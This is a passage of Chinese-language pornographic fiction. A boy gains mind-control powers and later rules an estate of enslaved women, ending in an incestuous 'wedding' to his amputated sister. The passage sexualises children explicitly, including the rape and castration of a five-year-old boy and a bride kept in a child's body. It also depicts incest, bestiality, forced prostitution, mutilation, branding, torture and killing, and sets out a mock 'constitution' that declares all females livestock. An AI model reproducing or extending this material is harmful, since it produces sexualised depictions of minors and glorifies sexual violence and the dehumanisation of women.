汤米慢慢地醒了过来,他听得到声音,但眼里却看不到东西,不是一片黑暗,只是白茫茫地,什么东西也看不到,同时有种辛辣的痛感。手脚也都很痛,举不起来,整个人除了躺着呻吟,什么也作不到。

聆听一会儿旁人的谈话,他明白了一切,伦道先生用药物将他的眼睛弄到几乎失明,而折断了他四肢的关节,再把他弃置到马厩的一角,暂且不处理。

这打击令汤米为之崩溃,他险些就要疯了,说到底,这时的他,还不满十岁,承受不了连接而来的刺激。

之后,他浑浑噩噩,像一只活尸一样,蜷曲在马厩的一角,饿了便吃,倒下便睡,什么也不想,什么也不作。

汤米不敢想,也不敢作任何事,一切已再非他可以掌握的了。有时候,他还是会想起过去的那段日子,想起他的女人,特别是妈妈和苓铃。对于妈妈,男孩始终无法原谅,但是,他好希望,能再回到以前的那种生活,回到他再沼泽改变一切之前的日子。

理所当然,他接触不到任何外界的讯息,只有偶尔,会有人到马厩牵马,说要去‘伺候’那些女人,那个时候,汤米的心底就好痛。

慢慢地,他腿间的伤好了,心底的伤却仍然在,行尸走肉的生活里,只有漫无目的地让思绪乱走,汤米也曾经想过自杀,可是这时候的他,没有自杀的能力,而且,他也不愿意就这么死掉,他还想做好多的事,有好多的东西,汤米不想就这么结束。

就这么样地过了半年。有一天,在思绪的漫走中,汤米忽然想到,以前,他是用眼睛来控制别人的心灵,虽然说现在眼睛半盲了,但让自己拥有控制异力的那种能源并没有消失,如果以前可以控制别人,那是不是也能反过来控制自己的心灵呢?

而心灵的力量可以具体影响肉体!

当这个想法出现,他的身体如齿轮咬合般,迅速地配合,仅仅几小时,男孩体内发生了惊天动地的改变。

数小时后,男孩重新睁开眼,一双眼眶连带瞳孔,全部变成了骇人的血红色。

汤米重生了。

>>>>>>>>>>>>>>>>>>>>>>>>>>

另一边的竞赛终于有了分晓,莉莉娜与夏歌不分胜败,洁参与阿梦妮妮同时攀上高潮,没有精子的体液,流淌在异母姊妹嘴里。

“输的人到主人面前接受惩罚。”

银月的意思很清楚,但这笔胜负该怎么算,却没有人弄得清楚,没办法,只好四个人一起到汤米跟前趴下,蹶起身子。

汤米往下一望,连带兰子、菊音,六个各有特色,如珠宝美玉一般的大白屁股,摇晃出一阵雪肤光泽。特别是洁参,她的美臀就像剥壳鸡蛋一样嫩滑。

汤米还记得,在三年前,那时这孩子才五岁,名字也还叫‘杰森’,就在某次晚餐上,他穿着围裙,送上甜点,小屁股在后面摇来晃去,极美的形状,看得汤米心头火热,顾不得他年纪还没满,就将这小子压在烤肉架上猛肏屁眼,当晚就接受阉割,改名‘洁参’,此后,一直是受宠的嫔妃之一。

“洁参和妮妮,都到我这边来。”

汤米让洁参和妮妮翘起圆臀,当她们以为热辣的鞭子将要挥下时,一只手掌贴上屁股蛋,滑熘的手指,熟门熟路地探进了屁眼,开始抠挖。

阿梦妮妮、洁参一齐娇吟,而在汤米示意下,她们将半软不硬的阴茎,插入莉莉娜、夏歌的骚穴里,而被插穴的两人,再往前舔上了兰子、菊音母女的美丽花瓣。

一时之间,整间屋里都是娇喘呻吟,美妙声音传上云霄。

<<<<<<<<<<<<<<<<<<<<<<<<<<

新的力量极度强大,汤米可以完全控制肉体的每一分潜能,他再次有了心灵控制的力量,而且还更强,不必眼神接触,就可以心灵遥控思感。而他自己变得力大无穷,身体的反应、灵敏,都到了梦想一般的地步。

于是,汤米毫不费力地操控了所见到的每一个人,从马厩重新走向屋子。这半年中,芭芭拉阿姨沈迷在各式各样的淫乐中,甚至没离开过屋子,只是让伦道先生带人来改建了些地方,而汤米十分确定,阿姨以后也别想离开这里了。

三两下解决了屋里的碍事者,汤米大概知道了这段时间的变化,莉萨、芭比给卖去北欧的俱乐部,作性虐待的表演;而莎曼珊的舞蹈才能获得重视,芭芭拉将她四肢的骨骼敲碎,用药水泡软,让她能表演更柔软的动作。

至于妈妈,芭芭拉阿姨似乎实现了当初的计划。半年来,每当白天,就把她牵到特别的接待室,开始接客;晚上再拉回大屋,供芭芭拉泄欲,录像机则始终在旁边拍着,不断剪辑出各种录像带,‘公路上的裸体荡妇’、‘彩虹系列─各国人种肏贱屄’、‘金氏记录─妓女连战猛男群’、‘野兽系列─大肚母狗与公狗’…

各种不同的片类,真的把妈妈调教成世界第一荡妇了。

苓铃的下落,则没有人知道,看来,只有追问芭芭拉了。

还来不及惊动任何人,汤米已控制住牧场里的一切,往屋后加盖的小房走去,那是芭芭拉的游乐处,每天,她就在那边耍弄姐姐。

推开门,汤米窥望着里头的景象。妈妈趴在地上,两眼翻白,薇薇安扯开她的双腿,舔着里面露出的淫液,而在妈妈前方的柜子上,有个标本罐子,福尔马林液中,有着一个铁钩,上头吊了一只刚成形的婴儿。

不用什么想象力,汤米马上就明白了,那是他的孩子,他与妈妈的孩子,若非如此,本来应该已近临盆的妈妈,肚子不可能如此平坦。

芭芭拉坐在椅子上,笑得很开心,一点都没有想到将要大祸临头。

在她背后,奇巴来回踱步,当汤米凝神看去,所瞧见的景象,让男孩眦目欲裂。

有一具女体,被绑缚在马腹之下,两手齐腕斩断,两腿给绑得反勾住马臀,奇巴的大鸡巴,插入她的小穴里,顺着走动,前后晃荡,正是他最宝贝的妹妹,苓铃。

苓铃垂着头,两眼茫然,没有半点动作,显然已经不知道被弄成这样多久了,她的小腹平坦,孕育的孩子…..

片刻之后,汤米重新掌握了一切,芭芭拉、薇薇安昏迷在地,而妈妈早已不醒人事。

含着眼泪,汤米将苓铃从马上解下。

>>>>>>>>>>>>>>>>>>>>>>>>>>

在无比的荒淫中,九具肉体交叠着。

银月、洁西卡努力舔着汤米的阴茎;汤米的手,则抠弄着洁参、阿梦妮妮的小屁眼;两名娈姬的阴茎,交相抽插在夏歌、莉莉娜的蜜穴中;而她们的舌头,则舔在兰子、菊音的蜜唇边,啜吸着花蜜;而在最前方,兰子吻着菊音,将舌头探入这又是女儿又是姊妹的小嘴里,忘情地搅拌。

九个人的肉体都相连在一起,她们的血出自同源,连身体也融合为一。厅堂里,只有无尽的欢乐、欢乐,有若最淫靡的酒池肉林。

当高潮来到,各种体液交错喷出,洒在彼此的身上,高声的长鸣,远远地传出,和远处响起的钟声,唿应成最悦耳的乐章。

<<<<<<<<<<<<<<<<<<<<<<<<<<

事情并没有就此完结。

汤米掌控了芭芭拉,也控制了伦道先生,将他们的一切纳为己有。经过了一轮急救,苓铃终于回复了神智,汤米发誓,要给妹妹最好的补偿。

但是,苓铃的要求只有一个。

“汤米哥哥,放我走…..求你放过我吧!”

对汤米来说,这是绝对无法接受的要求,就像当初妈妈背叛他那样,妹妹现在也要舍弃他了。

不行!不管怎样,都不可能让苓铃离开。

就算是作错也好,他要将妹妹永远留在身边。

红色的眼睛,望向他最挚爱的女孩,汤米有了决定。

>>>>>>>>>>>>>>>>>>>>>>>>>>

激烈地喷射之后,汤米没有露出半点疲态,而众女纷纷摆出各种撩人姿势求欢,希望父亲把宝贵的种子,真的射进体内。

当!当!

一声声的钟响,自远而近,传遍庄园,汤米看了看天色,从众女中站起身来。

“时候到了啊!”

第十章 白纱?地狱的婚礼

三十几年前的今天,是汤米的重生日,为了纪念这天,每年到了这时候,小岛上都会举办些特殊活动,而这一次,汤米更预备了非常特别的庆祝方式。

在女儿们的服侍中,汤米整理了一下仪容,跟着,除了银月,所有的女儿都退了出去,准备各自的工作。

大小事物已毕,汤米道:“可以了,摇铃招人吧!”

银月连忙从怀中取出铃铛,用力摇响,声音透过机械传遍整座庄园,铃声两长一短,在庄园内,铃声、旗帜都有特别的意思,两长一短,是莉萨专用的代号,而根据不成文规定,铃声响完一分钟内,受讯者如果没有完成指示项目,就要受罚。

汤米望向时钟,当秒针走到一半时,莉萨出现在厅口,慢慢地爬进到汤米脚边,亲吻地毯。

“尊贵的主人爷,您卑贱的女奴向您问安。”说着,她吻上了汤米的脚趾。在庄园中,身为女奴隶的莉萨,负责代汤米掌管一切杂务,对其余母狗来说,她拥有着无上权力,这是汤米对褓母昔日的忠诚,所做出的报酬。

夕阳照射下,莉萨的身上,仅着了一件薄纱,但身体上的缀饰,却多得令人诧舌。首先是两边耳垂,戴上了金圈耳环,颈子上有金属项圈,再来是一双巨乳,褐色乳尖穿上了乳环,往下,肚脐眼也套了个小金环,而腿间的密处,两边花瓣各自穿了八个金环,金环上的圈锁,早将阴唇拉得变形,如舌头般地长长垂下腿间,阴蒂也给金环穿过,就和阴唇上的金环套在一起。

定睛一看,莉萨全身就像给各种大小不同的金环镶住,在阳光中闪闪发光。本来,莉萨也穿了鼻环,但由于今天日子特殊,戴上鼻环有些破坏美观,所以在汤米示意下,莉萨特别取了下来。

“典礼的准备好了吗?”汤米问道。

莉萨小心地擡起头,道:“依照主人爷的意思,已经准备得差不多了,随时都可以…”

汤米打断她的话,道:“把妈妈牵进来吧。”

“是,遵照您的意思。”莉萨退出门外,跟着,传来锁炼的叮叮声,丽莎手里牵着链子,让妈妈跟在她身后,一步一步地蹒跚爬进。

汤米微笑道:“妈妈,今天好吗?”

妈妈还是那么美,完全维持着一个中年美妇的风韵,她头上顶着白纱,肌肤白嫩,凝脂红唇。妈妈今年五十多岁了,看起来却还像三十多年前一样美丽。

这并不是因为保养良好,尽管这些年来汤米过着奢华无度的日子,但这世上没有一种保养品,可以真的留住青春,如果真的要说有,大概就是魔力吧! 当汤米拥有了新的能力,力量大幅提升,对人体的操作更是强化至不可思议,虽然无法令人青春永驻,却可以调整肉体的新陈代谢,过八十年如一年,所以妈妈、苓铃,还有其它几头特别的母狗,形貌一如当初。

不过,如果说妈妈的外表一点都没变,那也不对。

妈妈的胸部,大得惊人,从外表看来,绝对超过八十吋,憷目惊心的嫩红乳晕,有着手掌般的大小,就像是两个多汁的大西瓜,浑圆丰硕,教人甚至怀疑这还算是生物的乳房吗?

“这该算是什么罩杯?”每次看到妈妈的巨乳,汤米便不禁有这讥诮的念头。

I罩杯、J罩杯?狗屎,她根本就不是一般胸罩的尺寸,事实上,把这么大的乳房裹在胸罩里,那完全是种浪费,妈妈再也不需要胸罩,汤米喜欢她边爬行边甩动乳房的淫浪模样。

因为怀念童年时吸奶的温馨回忆,汤米把妈妈美乳变成有趣的玩具,不需要隆乳手术,仅要控制一些人体的生长激素,同时刺激乳腺,令她长年分泌乳汁,涨满整个胸部,一举两得。

庄园中的乳制品,一向由育儿房中的孕母供应,而汤米御用的乳汁,则一概从妈妈身上榨取。

每天清晨,负责厨房工作的牝马奴隶,会负责将妈妈牵到特制的挤乳座上。那是一个专供‘乳牛’使用的设备,不过,妈妈受到特殊待遇,可以不用机械,而是由奴隶以手工挤榨,温暖的奶水由乳头滴淌到桶子里,负责的厨师,会将之搜集,成为汤米的饮料,或是用来做些小西点,烘焙菜肴。而为了能供给无误,妈妈一天平均有一升的奶水产量,以成为一头优秀的家庭用乳牛。

虽说不借助外科手术,其实还是有动到一些,为了衬托出乳房的硕大,妈妈被移去了一根肋骨,使她的纤腰缩至十七吋,更显得盈盈一握。 而为求身体能够负荷,妈妈脚后跟、背后的肌肉注射强化药剂,嵴椎骨钉入金属护环,免得她一站起身,就立刻折断了腰。

只是,八十多吋的超巨乳,大概还是重了些,负责的技师说,妈妈往后可能再也无法站起来了,当汤米听到这个处断,他毫不在意,只是关心胸部能不能挺立,花了那么多心血特制,他可不想看到一对长垂着的木瓜乳房。

所幸不会,在巧妙处理下,胸部呈现最完美的圆形。现在,妈妈已经很少直起身体走路,或是站起来伸伸懒腰,大部分的时间,她是四肢着地地慢慢爬行。对于这点,汤米十分乐见其成,反正这样也不错,母狗本来就不需要站立。

“到这里来,妈咪。”汤米拍拍脚边的位置,道:“我要检查你今天的功课。”

妈妈擡起头,有些幽怨地看了他一眼,不是真的抱怨,而是那种撒娇似的嗔怪。

她移动着手掌、膝盖,在羊毛地毯上匍匐前爬,一双巨奶微微摇晃,偶尔还有纯白的乳汁,从圆碟似的乳蕾中满溢出,顺着身体滴落地面…..不只是胸部,还有大腿间;湿黏的液体,正从大腿间的一片稀煳中流出。

这是妈妈刚刚做过功课的证据!

某一次的性交中,汤米突发奇想,既然精液含有那么高的营养质,那么如果将精液当水喝,女孩子是否会更加美丽呢。

所以妈妈一天当中,被规定必须喝下一定分量的精液!

上个月,妈妈生了第二十八胎,一个女儿,汤米还没有命名。分娩当晚,妈妈就要为自己找产后饮水。

理所当然,她不敢违背主人的规定,可是饮料的来源是个问题,汤米一向在妈妈体内射精,不会顾及她这方面的需要,就算刻意搜集,这点精液也不够自己一杯。 庄园内也没有其它男人,正确来说,是没有半个能射精的男人。不过没关系,庄园本身便是个大型牧场,除了屋里的母狗,户外还养了许多其它的动物。

狗的尺寸不错,但还是马的量比较多,不过,六年前,汤米特别在牛栏里,养了一批健壮的种牛,那时候,他对敏诺公牛的希腊神话颇很感兴趣,很想试试看,妈妈能不能也生个牛头人身的玩具出来。

汤米命令妈妈,每天和种牛肛交,然后,当他回来时,把牛的精液留在肛门里,让他检查。 对这女人来说,喝不到牛奶,“牛精”也是一项不错的食物,操她的,这烂货没有选择的权力,光是允许继续生存,就是莫大恩泽了。

“今天的功课在这里,请您检查,我尊贵的主人!”

妈妈爬到汤米脚边,转过身,顺从地趴下,双腿大张,肥臀高高翘起。

不错,臀沟间稀稀稠稠的一片,褐色菊轮犹自不受控制地蠕动,把浆汁往外溢,顺着大腿流下。汤米有些纳闷,这么多的量,是妈妈吃不完吗?还是为了应付检查,妈妈特别又去干了一次?

“功课作得不错,明天继续。”像个看完生字簿的小学老师,汤米简短地说道。小时候,每当自己功课没做完,妈妈就会打他的屁股,而现在,他检查作业时,也会习惯地往那美屁股上使劲拍两下。

啪!

啪!

大力的掴击,水蜜桃似的大白屁股上,立刻多了两记红斑。

触感不错,皮肤就像当初一样嫩滑、有弹性,不过屁眼儿看来实在大了点。

汤米哑然失笑,妈妈和公牛肛交已经六年了,这之前当然也试过别的动物,而为了解渴,有时她的屁股甚至一天要干上好几次,所以从三年前开始,妈妈就有了脱肛的毛病,大小便开始失禁,随地便溺,这是肛交必然的后遗症。

她没有穿纸尿裤(虽然汤米有时觉得那样有趣),只是被配给了一条母狗,专门跟在后头,舔食妈妈随时溢出的大小便。 汤米很注重生活常规,订下的规矩,屋内所有母狗都得遵守,就连妈妈也不例外。因此每当感觉有异时,妈妈就会爬到墙边柱下,擡高一腿,翘高屁股,而服侍的母狗就会把嘴移来,接下泄出的尿液、屎块。

汤米还是常常干她的蜜穴,在妈妈的肛门里射精,只是,自从妈妈有次尿湿了他的床之后,从此就不准上床睡,干完以后,径自趴睡在床脚的地毯上。

他的占有欲依旧强烈,就算是卑贱的母狗,也是他个人私有物,绝不许其它男人染指。不过,雄性动物倒是无妨,反正公狗干母狗,挺相配的。

对了,讲到公狗…..

汤米把手指插进莉萨的蜜穴,用力抠弄,莉萨立刻放声娇吟。

“嗯….嗯…啊…..”

莉萨这一次用的獒犬群,已经满一年了,下个礼拜,会有一批阿拉伯种马送到,届时,莉萨会有新的玩具,而那对她来说,想必是个新奇的经验。

“再…..再不开始,时间…时间要来不及了…主…主人”莉萨娇喘不已,勉强凝神提醒主人预定的事项。

“唔!”汤米应了一声,似乎还有些回不过神,好一会儿,他缓缓道:“那就开始吧!说起来,大家也好久没有见一见了…”

“是…那么…典礼开始。”

莉萨举掌轻拍几下,门外传来喧哗声,大门推开,参与典礼的的母狗,一一进入。

******************************

大厅很大,约莫有三个篮球场的面积,可以容纳下两百人,在大厅的尽头,有一个祭坛,祭坛后有一座张牙舞爪,脸部特别造成汤米模样,阳具巨大无比的恶魔像,而从祭坛开始,一道长长的红毯直铺到门口。

莉萨一声令下,首先进来的,是忙着整理一切的侍者群、奏乐的乐队,接下来是有幸观礼的母狗们,当所有人依照规定位置趴好,乐队开始奏乐,仪队洒起花瓣,大门再次开启。

充满喜气的乐声中,率先爬进来的,是一对男女。他们都是汤米的旧识,芭比与莎曼珊,在颈部以上,都还保持着当初的模样。

芭比的清秀脸蛋一如从前。身为青梅竹马的玩伴,她是汤米的第一名娈姬,在那以后,施打女性贺尔蒙,身段变得婀娜多姿,有了美丽的胸部,而从前令汤米注意的柔嫩小屁股,也被肏得成熟浑圆。和其余娈姬有所不同的,芭比是第一个试装人造子宫成功的娈姬,可以孕育受精卵,也改造了骨盆、腹腔,怀胎十月后,可以将孩子由肛门‘大’出来。 此刻,她小腹因代孕而隆起,鼻子里给穿了鼻环,套上缰绳,充作拉车的动物,拉着后方的大床车前进。

在旁边拉车的,还有莎曼珊,和芭比相较,这名舞蹈美少女,在颈部以下的变化,实在大得吓人。汤米痛恨她当初的报复,所以始终对她大加折磨,三年前,下令将她截肢,双臂削除至腕,双腿砍除膝盖以下,再焊接上马蹄铁平衡身体。之后,用特别的生毛剂,让她从小腹至屁眼生了浓密的耻毛,加上亮晃晃的鼻环,看来真的很像一头畜牲。

芭比、莎曼珊拉着后方的床车,在悠扬的婚礼乐曲中,步上红毯,慢慢地爬进大厅。满天花瓣雨不住落下,床车两旁,洁参、洁西卡姊妹手里拿着捧花,穿着特制的白纱内衣、吊带袜,充作花童,护着床车,往汤米而去。

当乐曲变奏,披着白头纱的妈妈,扮演着伴娘的角色,自芭比、莎曼珊处衔过缰绳,将床车拉运至汤米身前。

“新郎就位!”担任司仪的银月,朗声报着程序。

汤米走近床车,拨开车帐,柔声道:“时间终于到了,你高不高兴啊,苓铃。”

大型床车上,铺着一层雪白床褥,金线一般的长缎秀发,如瀑布倾泻,布满了整张床,而在发丝之间,有个娇怯的小人儿,那是苓铃,除了头发越留越长,她仍旧是三十多年前的小女孩模样,所不同的,是这个小美人挺了个圆滚滚的大肚子,并且,她没有了四肢。

不同于莎曼珊的作法,苓铃的手脚,是整根截去,手臂自肩膀以下,双腿自臀部以下,断得干干净净。她的躯干上一丝不挂,只有裹着一件小白狮王图样的尿裤,颈子上绑了个送礼式的大红蝴蝶结,成为别出心裁的婚纱,远远看来,就像是一个精致无比的洋娃娃,躺在雪白色盒里。

瞧着妹妹,汤米的眼神无比温柔,他伸手解开尿裤的绊扣,稍稍擡起她臀部,将尿裤脱下来,一股腥膻热气扑鼻而来。 这尿裤是研究室开发的产品之一,上面有三个小指般的凸起物,恰好嵌进尿道、阴户、肛门,为了改善过往假阳具太粗,使膣道宽松失去弹性的缺点,这些小凸起物改为散发轻微电流,除了刺激效果更好,更能让穿戴人整天憋紧蜜处肌肉,有绝佳的效果。

“嘻嘻…哥哥…..汤米哥哥…嘻嘻…..”躺着的苓铃,双瞳里目光涣散,感觉到哥哥的气味,口齿不清地嘻笑着,仔细一看,樱唇小口内,半颗牙齿都没有。

汤米微微一笑,从在旁侍奉的妮妮手中接过丝巾,开始为苓铃的腿间拭擦。自从妹妹不能自理便溺之后,他每天亲自为妹妹处理所有琐事,尽点作哥哥的本分。

当初苓铃对他的好,那是这辈子怎么也忘不掉的,他发誓一定要给妹妹最好的东西,来补偿她受的凌虐。苓铃没了双手,所以更需要他好好的照顾,可是,苓铃甯愿逃避,也不愿意再留下来,继续那乱伦兽行。当妹妹第十三次自杀获救,铁青着脸的汤米,有了恐怖的决定。

就在被截去手脚的第四个月,不堪永久凌辱的苓铃精神崩溃了,曾经是小兔般灵动的双瞳,永远地失去了焦距,她就像被装在盒中的洋娃娃,只会傻笑着承受一切,说出许多不成单字的句子。

现在,苓铃再也没办法离开了,像洋娃娃一样的她,会好乖好乖地永远陪在身边,对着他笑,陪他性交,乖乖地为哥哥生儿育女,对于这样的妹妹,虽然有些遗憾,但汤米仍旧非常满意。

妹妹只要这样就好了,她不需要多余的智慧,只要好好地躺在床上,承受他的阳具,如生育母鸡般,不断地产下一个又一个的孩子…..

为苓铃擦干净屁股,汤米没有再换上新的尿裤,而是细观着妹妹腿间。今天,是他的第二生日,而恰巧,也是苓铃的分娩预定日,汤米就决定趁着这个大好日子,办场婚礼来庆祝,记得以前妹妹最喜欢玩家家酒婚礼,今天正好让她得偿所望。

观察的医师,在确认苓铃即将临盆后,立刻通知莉萨。汤米希望,苓铃在婚礼中生下孩子。

妈妈以女方家长的身份,将床车的缰绳衔至汤米手中,这象征她牵着女儿的手,把女儿嫁给了儿子。在交接缰绳后,妈妈的伴娘身份就告一段落,因为今天,她也是新娘之一。

“今天,是主人与亲妹妹苓铃结为夫妻,纳女奴莉萨、牝马珍妮弗为妾的婚礼大典。”担任司仪的银月朗声说道:“参与典礼者,需牢记此刻主人爷的恩宠,时时刻刻报答主人爷的恩宠。现在,宣读圣典。”

照一般婚礼的习俗,这时候本该是宣读圣经规章的程序,但在这里,当然不可能,便改由朗诵宪章来代替。

******************************

鬼畜奴隶共和国 生物权利宪章

第一条 雌性生物之地位:

所有雌性生物皆等于牲畜,生而卑贱,以服从为天职,承主人恩泽,通赐‘母狗’之名。

第二条 对母狗之权利:

主人对母狗,具有无差别之一切权利。

第三条 凌辱母狗之权利:

主人对母狗,除了可将其视为宠物或是奴隶,并具有将其当成人间便器般践踏其生物尊严之权利。

第四条 剥夺母狗表达意见之权利:

母狗不具口吐人言之权利,主人在遇上具有主见的母狗时,具有剥夺其发言的权利。

第五条 剥夺母狗的表达,获取信息之权利:

主人具有以任何手段夺取母狗口头、书写或印刷或是艺术形态作品之权利。

第六条 取缔母狗之集会、结社之权利:

主人具有强制取缔母狗之集会、结社之权利。

第七条 了解母狗私生活的权利:

主人具有以偷窥、窃听等方式观察母狗入浴与更衣,在厕所排泄及自慰等知的权利。

第八条 毁损母狗名誉之权利:

主人对母狗,具有可以不论真假即以“淫乱、白痴、低能、变态、娼妇、妓女…”等用语毁损其名誉与信用等等之权利。

第九条 压榨母狗之权利:

主人对母狗,具有强迫其进行卖春等等经济方面压榨之权利。

第十条 母狗受教育的目的与权利:

1、母狗的才能在于开发出身体能力之最大极限,以达到完美侍奉主人之目的。

2、怀孕、生育并教育下一代。

第十一条 与母狗相关审判之权利:

1、主人对母狗的轻微罪行,审理者可依照自己的考虑进行判决。

2、逮补疑似犯下严重罪行之母狗时,可进行有无犯行之推定。

3、对于疑似犯下罪行之母狗,除了强迫其提供证词与自白外,必要时可以进行拷问。

第十二条 对母狗的刑罚:

对于确认其罪行的母狗,由其罪行之轻重及主人之圣裁来执行适合的刑罚。

对于特殊的重大罪犯,将以残虐且不人道的方式实行拷问,在达到其所能承受最大程度的痛苦后,处以死刑。

******************************

这宪章是“母狗训练学校”的第一课,所有母狗从小便背得滚瓜烂熟,银月念一句,所有母狗们便跟着念,直到念完,银月大声地宣布:“礼成,现在,新郎可以吻新娘了。”

汤米长声大笑,却没往载着新娘的床车走去,而是步向一旁的莎曼珊,母狗们还弄不清主人的意图,汤米已从专任的母狗奴隶处拿起烙铁,一脚踩着莎曼珊细腰,通红的烙铁就往下烙去。

“拉车拉得歪七扭八,连当牝马都当得那么糟,养你做什么用,以后你改当奴隶兽吧!”

凄厉惨叫声响起,焦臭味四溢,莎曼珊的左臀上,给烙下了一个‘♀’字印记,那是奴隶兽的代表符号,往后,管理奴隶兽的母狗奴隶,会在她的后腿再加烙牲口编号,不过,所有人的心里都有数,一旦被贬为奴隶兽,可能再没有几天命了。

甩开凑上来亲热的芭比,汤米往莉萨走去,拍拍她的头,给了这仅有一名的女奴隶一只小盒,过去,每到莉萨生日,他就送给她一个金环镶在身上,今天是纳妾的好日子,汤米的结婚戒指,是一个圆头的钉子,把这东西钉在舌头上,可以增加含吮肉棒时的刺激感,是有趣的助兴玩物。

莉萨按照礼仪,捧起汤米龟头,热烈地一吻,表示谢谢主人爷的恩宠。

接着,汤米走向他的另一名新婚妃妾,他的亲生母亲。

“我们结为夫妻了,妈咪。”汤米笑着宣布道:“从现在开始,我就是你的丈夫,你的老公了,你高不高兴呢?”想到自己完全取代的父亲,汤米很是有一种胜利感。

“高…高兴,妈妈好高兴…高兴…”和苓铃相同,过度的使用,妈妈也有些精神错乱,口齿模煳。

“哦!你是怎么样的高兴法呢?”彷佛逗弄着小狗,男孩调侃地笑道。

妈妈立刻趴下身来,用手掰开两瓣屁股蛋,露出最隐密的丘壑,腻声说道。

“婊子妈妈…是为了用这个骚屄接受好儿子的大鸡巴,生下你的孩子而存在世上的,她的屁眼也在刚刚洗干净了,所以玩弄屁股也没有问题,请主人爷尽情玩弄她的身体吧!”

听到妈妈这样地自荐枕席,汤米不禁莞尔,俯下身去,捏弄、把玩那一对超巨乳。记得有一次宴席,汤米开玩笑地说,厨房里没有一种圆形水果能大过妈妈的乳房,结果,从椰子、榴莲,一直到西瓜,妈妈的巨乳连败所有水果,令人叹为观止,赢得“果汁牛奶皇后”的后冠。 虽说男人都喜欢大乳房,但说老实话,一双乳房大成这种样子,实在也让人恶心,所以,整个庄园里,汤米只塑造两对这种超巨乳,就此兴味索然了。

没等到儿子的反应,生怕引起主人的不悦,妈妈指着喉咙,再次柔声献媚。

“无论几公斤的精液都会喝下去,也能做深喉咙的服务,请把鸡巴插入妈妈的喉咙,用精液把妈妈的胃填满吧。”

听见这么露骨的参推,汤米忍不住大笑出来,心底却不禁有些叹息,以前那个端庄娴雅的妈妈,是再也不会出现了。

哼!这是背叛者应得的下场…..

以往,汤米总是这么想,不过,在今天的喜宴中,他的心情出乎意料地好,似乎过往的一切,再也没那么重要。在母亲的脸上婆娑良久,男孩柔声道:“妈咪,结婚之后,你要冠夫姓,以后,你别当牝马了,当母狗吧!”

听到这句话,妈妈感动得流下泪来,过去的三十多年中,汤米为了惩罚,一直让她当牝马奴隶,现在终于升级了,以后,就可以有自己的厩位;可以睡温暖的干草堆,不必睡冰凉的石子地;吃饭也不用趴在地上啃饲料冻块,能够用狗碗吃菜肉混饭了。

妈妈高兴得呜呜叫,捧着儿子的阴茎猛亲猛舔,汤米拍拍她的脑袋,笑道:“去把结婚戒戴上吧。”

这次用的结婚戒,都很别出心裁,反正只要是圆形的东西就成,所以,莉萨的结婚戒,是圆头钉;而妈妈的结婚戒,则是纹身。

一条墨黑色的大蟒蛇,缠纹在雪白的胴体上,尾巴从臀沟刺起,往上斜越过左肩,钻越乳沟往下,蛇首就停在阴户上方的三角地带,而血红的舌头,则恰好舔在阴蒂上,设计得栩栩如生,彷佛真的是一只大蟒蛇,囚禁住一名艳丽美女。

汤米的话才一完,妈妈立刻给架走,按趴在预备好的台子上,六名刺青人员同时开工。连带上色,她们的时间只有十五分钟,倘若时间到而纹身没好,她们就得纹雕自己的墓碑了。

想象着妈妈唿吸时胸部颤动、日后再怀孕时小腹蠕动,蟒蛇纹身就随之起伏的景象,汤米觉得相当好玩,这就是玩具的再利用,现在,妈妈这样玩具,又多了新的附加价值。

终于到了最后的时刻,汤米走到妹妹身边,这是他一生最爱的女孩,也是他的新婚妻子,他们兄妹终于“合法”地结为夫妻了。

“请新郎为新娘戴上戒指。”

银月的朗诵声中,汤米由洁西卡、洁参手中取过戒指盒,解开苓铃颈上的大蝴蝶结,露出那雪一般洁白无瑕的幼女胴体。在幼滑的颈项上,当年的噬痕如弦月般深烙。

“汤米哥哥…..”

虽然只有一瞬,但苓铃的眼睛,有那么刹那,回复了神采,轻唤着哥哥的名字。

汤米大是激动,在妹妹颈上亲吻一口,柔声道:“苓铃,你终于当上哥哥的新娘子了,喜不喜欢?”

“喜…喜欢…苓铃…鸡鸡…欢…”

“不是鸡鸡,是喜欢,知道吗?”

“喜…喜欢…苓铃…喜欢…鸡鸡!”

“是啊!苓铃喜欢哥哥的大鸡鸡。”

颤着手,他取过乳环,一一别在妹妹的小蓓蕾上,先是左边,再来,是右边。因为还保持着当年的肉体,所以苓铃的胸部依旧平坦,仅是因为怀孕的乳汁,而稍稍鼓涨,当刻着汤米名字的金环穿过乳蕾,鲜红的血液淌在胸口,成了一副妖艳的图案。

“啊啊…”肉体上的刺激,苓铃娇唿出声,身体不停地打颤,臀部放松,一股热烫汁水,立刻浸渍了床褥。

看过多次此类场面,汤米早已驾轻就熟,挥手招唿医务人员。

“羊水破了,痉挛开始,准备接生。”

五名专职接生的母狗,连忙抢到床车旁,熟手熟脚地进行各项准备工作,之所以要动到五名之多,除了慎重起见,也是为了汤米的特殊习惯。

同一时间,汤米翻身上了床车,搂着妻子的滑熘胴体,侧倚着身子,胯下阴茎已抵着臀沟。

“礼成!新郎可以开始与新娘洞房了。”

“很好。”汤米低喝一声,腰往前挺,趁着滚烫羊水的便利,粗大马屌尽根没入小屁眼里。

******************************

当阴茎犹如烧红的铁条捅入屁股,苓铃就像是给顶穿了般,两眼一阵翻白,倒抽一口凉气,直到肉棒抽出,才又唿出浊气。就这么随着阴茎在直肠里进进出出,苓铃无意识地作着妊娠唿吸。

这方法是汤米无意间想出的,他认为,与其握着女人的手,帮她们数数唿吸,倒不如用这方法来得直接有效,同时,隔着直肠壁,分外感觉得到前方阴道的蠕动,特别是婴儿经过的瞬间,那感觉真是无比美妙。

不过,为了能成功控制节奏、力道,汤米至少玩死了二十条母狗和子宫中的婴儿,这才有今天的成绩。但见助产士一面喊着“更用力、深唿吸”,汤米便配合着喊话,顶得更用力,让苓铃大口吸气,兄妹俩的身体,作着最完美的结合。

同时,喜宴开始,奶品制成的小点心、特别调制的烤肉,厨房将一道道美味佳肴依序送上。汤米重视饮食享受,担任厨娘的牝马奴隶,都有着世界一流的手艺,同时,也都是绝对优秀而忠心的屠宰师,以便随时生剐一些特殊肉材。

理所当然,观礼的母狗们没有上桌的资格,全是趴在地上用餐。在各色品级中,身为母狗奴隶中的极品者,旁边有专任奴隶服侍,帮忙舔去用餐时留在脸颊上的残汤肉汁。

依照汤米制订的庄园礼节,还没排列品级的小母狗,排在自己的母亲身后,由母亲将食物衔入口中喂饲,或是先代为嚼碎。

